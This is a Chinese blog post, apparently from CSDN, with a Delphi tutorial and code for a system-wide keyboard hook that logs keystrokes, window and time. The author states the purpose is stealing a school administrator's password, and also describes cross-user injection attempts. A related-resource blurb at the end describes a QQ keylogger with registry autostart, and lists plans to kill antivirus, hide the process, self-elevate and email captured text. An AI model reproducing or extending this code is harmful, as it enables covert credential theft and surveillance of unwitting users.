分享一个键盘钩子的写法,很实用

    早就想写一个键盘监听器了,学校的电子阅览室设了Administrator屏障,想装软件什么的很麻烦,因此想截获管理员密码。。大笑

    花了大概一个星期编写了一个,效果还不错,因此来分享一下。。

 

   首先解释一下什么是键盘钩子:

         钩子(Hook)是Windows消息处理机制中的一个监视点,应用程序可以在这里安装一个子程序(钩子函数)以监视指定窗口某种类型的消息,所监视的窗口可以是其他进程创建的。当消息到达后,在目标窗口处理函数处理之前,钩子机制允许应用程序截获它进行处理。      

SetWindowsHookEx 函数可以把应用程序定义的钩子函数安装到系统中。
HHOOK SetWindowsHookEx(
 Int idHook ;       // 指定钩子的类型
 HOOKPROC lpfn;   // 钩子函数的地址。如果使用的是远程钩子,钩子函数必须放在一个 DLL 中。
 HINSTANCE hMod; // 钩子函数所在 DLL 的实例句柄。如果是一个局部的钩子,该参数为 NULL
 DWORD    dwThreadID; // 指定要为哪个线程安装钩子。若该值为 0 被解释成系统范围内的。
IdHook 参数指定了要安装的钩子的类型,可以是下列取值之一:
WH_CALLWNDPROC       当目标线程调用 SendMessage 函数发送消息时,钩子函数被调用。
WH_CALLWNDPROCRET                   SendMessage 发送的消息返回时,钩子函数被调用。
WH_GETMESSAGE           当目标线程调用 GetMessage 或者 PeekMessage 时。
WH_KEYBOARD               当从消息队列中查询 WM_KEYUP WM_KEYDOWN 消息时
WH_MOUSE                       当调用从消息队列中查询鼠标事件消息
WH_MSGFILTER               当对话框,菜单或滚动条要处理一个消息时,钩子函数被调用。该钩子是局部的,它是为哪些有自己消息处理过程的控件对象设计的。
WH_SYSMSGFILTER        WH_MSGFILTER 一样,只不过是系统范围的。
WH_JOURNALRECORD  Windows 从硬件队列中获取消息时。
WH_JOURNALPLAYBACK       当一个事件从系统的硬件输入队列中别请求时
WH_SHELL                         当关于 Windows 外壳事件发生时,比如任务条需要重画它的按钮
WH_CBT                             当基于计算机的训练( CBT )事件发生时。
WH_FOREGROUNDIDLE Windows 自己使用,一般应用程序很少使用。
WH_DEBUG                       用来给钩子函数除错。
 
Lpfn 参数是钩子函数的地址。钩子安装后如果有消息发生, Windows 将调用此参数所指向的函数。
         如果 dwThreadId 参数是 0 ,或者指定一个由其他进程创建的线程 ID lpfn 参数指向的钩子函数必须位于一个 DLL 中。这是因为进程的地址空间是相互隔离的,发生事件的进程不能调用其他进程地址空间的钩子函数。如果钩子函数的实现代码在 DLL 中,在相关事件发生时,系统会把这个 DLL 插入到发生事件的进程的地址空间,使它能够调用钩子函数。这种需要将钩子函数写入 DLL 以便挂钩其他进程事件的钩子称为远程钩子。
         如果 dwThreadId 参数指定一个由自身进程创建的线程 ID lpfn 参数指向的钩子函数只要在当前进程中即可,不必非要写入 DLL 。这种挂钩属于自身进程事件的钩子称为局部钩子。
 
hMod 参数是钩子函数所在 DLL 的实例句柄,如果钩子函数不再 DLL 中,应将 hMod 设置为 NULL
 
dwThreadId 参数指定要与钩子函数相关联的线程 ID 号。如果设为 0 ,那么钩子就是系统范围内的,即钩子函数将关联到系统内所有线程。

 

要卸载钩子,可以调用 UnhookWindowsHookEx 函数。
 BOOL UnhookWindowsHookEx(HHOOK hhk); // hhk 为要卸载的钩子的句柄
 
注意: 安装钩子的代码可以在 DLL 模块中,也可以在主模块中,但是一般在 DLL 里实现它,主要是为了使程序更加模块化。
 
既然我们要截获的是全局的按键消息,那么就应该将钩子放在DLL中。
Windows钩子都有一个回调函数:
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
         // 处理该消息的代码 …..
 
    Return ::CallNextHookEx(hHook,nCode,wParam,lParam);
}
HookProc 是应用程序的名称。 nCode 参数是 Hook 代码,钩子函数使用这个参数来确定任务,它的值依赖于 Hook 的类型。 wParam lParam 参数的值依赖于 Hook 代码,但是它们典型的值是一些关于发送或者接收消息的信息。
         因为系统中可能会有多个钩子的存在,所以要调用那个 CallNextHookEx 函数把消息传到链中下一个钩子函数。 hHook 参数是安装钩子时得到的钩子句柄( SetWindowsHookEx 的返回值)。
 
有了这些知识,我们就可以开始编写:
 
首先,先创建一个DLL Wizard,为了在主程序中创建钩子,我们需要键入以下代码:
procedure InstallHook(hwnd:THandle);stdcall;export;
begin
    hook:=SetWindowsHookEx(WH_JOURNALRECORD,HookProc,hInstance,0);//其中hook是一个HHOOK类型的全局变量,用来保存钩子句柄
    hWindow:=hwnd;//hWindow也是一个HWND类型的全局变量,用来保存主程序的窗口句柄,在后面要用到
end;
 
由于DLL与主程序是独立的,所以DLL截获的消息需要发送到主窗口,这里采用的是发送消息,因此要保留主窗体句柄
 
下面是卸载钩子代码:
 procedure UnInstallHook;stdcall;export;
begin
  UnhookWindowshookEx(hook);
end;
 
还有回调函数:
function HookProc(iCode:longint;
         wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var
  msg:TEventMsg;
  keyState:TKeyState;
begin
  if iCode=HC_ACTION then
  begin
    msg:=PEventMsg(lParam)^;
    if (msg.message=WM_KEYDOWN) or (msg.message=WM_SYSKEYDOWN) then
    begin
      keystate.vKey:=LoByte(msg.paramL);//得到键的虚拟键码
      keystate.bCapsLock:=GetKeyState(VK_CAPITAL)=1;//得到CapsLock键状态
      keyState.bNumLock:=GetKeyState(VK_NUMLOCK)<>1;//得到Num Lock的状态
      keyState.bCtrl:=GetKeyState(VK_CONTROL) and $80000000=$80000000;//得到Ctrl键的状态
      keyState.bAlt:=GetKeyState(VK_MENU) and $80000000=$80000000;//得到Alt键的状态
      keyState.bShift:=GetKeyState(VK_SHIFT) and $80000000=$80000000;//得到Shift键的状态
      keystate.Sender:=GetActiveWindow;//得到当前活动的窗口句柄
      keystate.Time:=Now;//得到当前时间
      SendMessage(hWindow,WM_MYMSG,Integer(@KeyState),0);//发给主窗口,WM_MYMSG为一个自定义消息,用于区别于其他消息
    end;
    result:=0;
  end;
  if iCode<0 then
  begin
    Result:=CallNextHookEx(hook,iCode,wParam,lParam);//挂上下一个钩子
  end;
end;
 
其中TKeyState定义为:
type
  TKeyState=record
               vKey:longint;
               bCapsLock,bNumLock,bShift,bCtrl,bAlt:bool;
               Sender:HWND;
               Time:TDateTime;
             end;
用于记录按键消息。
最后将他们输出:
exports
  InstallHook,UnInstallHook,HookProc;
在主窗体Main.pas中写入:
procedure InstallHook(hwnd:THandle);stdcall;external 'Hookdll';
procedure UnInstallHook;stdcall;external 'hookdll';//静态链接函数
 
然后调用时用:InstallHook(self.Handle);就可以安装钩子了。
 
至此一个键盘监听器就写好了(详细参考CSDN资源:4428899)
 
但是,这个程序还有一点缺陷,就是不能跨用户监听,即如果一台电脑中有多个用户,则用户A的监听器监听不到用户B的按键消息。
我研究过,用户的实质是多个Desktop(即窗口工作站)同时运行(这也是虚拟桌面的工作原理)。我曾试图用CreateProcess()这个API将一个进程跨用户注入到另一个用户的空间中,虽说成功了,但一旦用户切换用户,所有的钩子都将停止,这也令我很苦恼,如果有兴趣的也可以研究一下。
  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
简单的低级钩子做的应用实例,实现了开机自动启动功能,程序启动后在后台运行,等待本地QQ启动后,开启钩子,记录键盘输入的字符,并保存在D:盘目录下的指定名文档中。关闭QQ时,钩子自动卸载并结束进程。 但是由于是使用的键盘钩子,所以只能简单的抓取键盘所键入的内容,如果是汉字的话则无法显示。 由于使用了Hook技术,并对注册表进行了修改,使用前请关闭360等防火墙软件,并使用管理员模式运行。 一次执行后,之后再次开机时,该程序会自动启动。 程序尚有缺陷,如内存泄漏,究其原因是CString应用在多线程中导致,但至今未查到根源所在,希望大神指教,学生不胜感激! 也希望各位多提出宝贵意见,或对本程序进行开发改造。 个人暂时希望改造的几个方面: 1.首先是希望能够屏蔽掉360等防火墙的检查。更深层次的改造,希望能够主动杀死360等防火墙的进程。 2.其次是希望能够做成主辅进程相互监视的模式,主进程down掉后,辅进程自动能把主进程启动,辅助进程down掉后,主进程能把辅进程自动启动。 3.其次是希望能够做成真正的隐藏进程的风格,就是能够在任务管理器中隐藏掉进程,其实可以做成服务,但是更希望能够以进程的形式存在。 4.然后很重要的是,希望能够做成自动获取管理员权限的类型,这个一直很想做,但是小菜我水平有限,暂时未对应。 5.希望对应网络开发,现在用钩子钩下来的文字,暂时只是保存在本地的一个txt文件中,希望最终实现把抓下来的内容发送到指定邮箱这样的功能。 暂时就先想到这么多吧,希望大家多多提出宝贵意见。 (最终声明:本程序只限用于研究学习开发技术,不得用于研究学习以外的任何目的) 作者:Benjamin Wang 2013-12-02

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值